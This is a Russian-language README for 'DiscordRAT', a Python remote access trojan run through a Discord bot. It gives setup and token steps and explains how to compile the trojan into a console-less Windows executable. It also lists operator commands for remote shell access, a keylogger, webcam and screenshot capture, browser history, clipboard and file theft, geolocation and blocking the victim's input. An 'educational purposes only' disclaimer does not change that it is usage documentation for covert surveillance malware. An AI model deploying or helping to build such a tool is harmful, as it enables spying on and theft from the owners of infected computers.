
Инструмент удаленного администрирования Discord, полностью написанный на Python3
Инструмент удаленного администрирования Discord, полностью написанный на Python3.
Это RAT, управляемый через Discord, с более чем 20 модулями пост-эксплуатации.
Этот инструмент предназначен только для образовательных целей, автор не несет ответственности за любое неправомерное использование этого инструмента.
Сначала вам нужно зарегистрировать бота на портале разработчиков Discord, а затем добавить бота на нужный сервер (убедитесь, что у бота есть права администратора). После создания бота скопируйте его токен и вставьте в строку 17.
Установите зависимости :
pip3 install -r requirements.txt
Затем, если предыдущие шаги были успешными, после запуска python-файла командой python DiscordRAT , или запуска исполняемого файла, будет создан новый канал и отправлено сообщение на сервер с сгенерированным номером сессии.
Теперь ваш бот готов к использованию!
Требования:
Python3,Windows(x64)
Компиляция в exe (опционально):
Если вы хотите скомпилировать бота в exe, вы можете использовать PyInstaller.
Внутри каталога бота выполните
PyInstaller --onefile --noconsole DiscordRAT.py
Или
python3 -m PyInstaller --onefile --noconsole "DiscordRAT.py"
Если во время компиляции произошла ошибка, попробуйте импортировать модуль discord
PyInstaller --onefile --noconsole --hidden-import=discord DiscordRAT.py
Доступные команды:
--> !message = Показать окно сообщения с вашим текстом / Синтаксис = "!message example"
--> !shell = Выполнить команду оболочки / Синтаксис = "!shell whoami"
--> !webcampic = Сделать снимок с веб-камеры
--> !windowstart = Начать логирование активного окна пользователя (логи отображаются в активности бота)
--> !windowstop = Остановить логирование активного окна пользователя
--> !voice = Воспроизвести голосом произвольную фразу / Синтаксис = "!voice test"
--> !admincheck = Проверить, есть ли у программы права администратора
--> !sysinfo = Предоставить информацию о зараженном компьютере
--> !history = Получить историю навигации браузера
--> !download = Скачать файл с зараженного компьютера
--> !upload = Загрузить файл с сайта на компьютер / Синтаксис = "!upload file.png" (с вложением)
--> !cd = Сменить директорию
--> !write = Напечатать нужную фразу на зараженном компьютере
--> !wallpaper = Изменить обои на зараженном компьютере / Синтаксис = "!wallpaper" (с вложением)
--> !clipboard = Получить содержимое буфера обмена зараженного компьютера
--> !geolocate = Геолоцировать компьютер по широте и долготе IP-адреса с помощью Google Maps / Предупреждение: геолокация по IP-адресам не очень точна
--> !startkeylogger = Запустить кейлоггер / Предупреждение: вероятно, вызовет срабатывание антивируса
--> !stopkeylogger = Остановить кейлоггер
--> !dumpkeylogger = Выгрузить лог клавиатуры
--> !volumemax = Установить громкость на 100%
--> !volumezero = Установить громкость на 0%
--> !idletime = Получить время бездействия пользователя на целевом компьютере
--> !sing = Воспроизвести выбранное видео в фоновом режиме
--> !stopsing = Остановить фоновое видео
--> !blockinput = Заблокировать клавиатуру и мышь пользователя / Предупреждение: требуются права администратора
--> !unblockinput = Разблокировать клавиатуру и мышь пользователя / Предупреждение: требуются права администратора
--> !screenshot = Сделать скриншот текущего экрана пользователя
--> !exit = Выйти из программы
--> !kill = Убить сессию или все сессии, кроме текущей / Синтаксис = "!kill session-3" или "!kill all"
Если у вас возникли проблемы с установкой win32api или других модулей, попробуйте установить их в виртуальное окружение Python. Пожалуйста, не открывайте issue, связанные с ошибками модулей, так как они вызваны вашей установкой Python, а не проблемой самого DiscordRAT. Если при компиляции в PyInstaller вы столкнулись с ошибкой "AttributeError: module 'enum' has no attribute 'IntFlag'", выполните:
pip uninstall enum34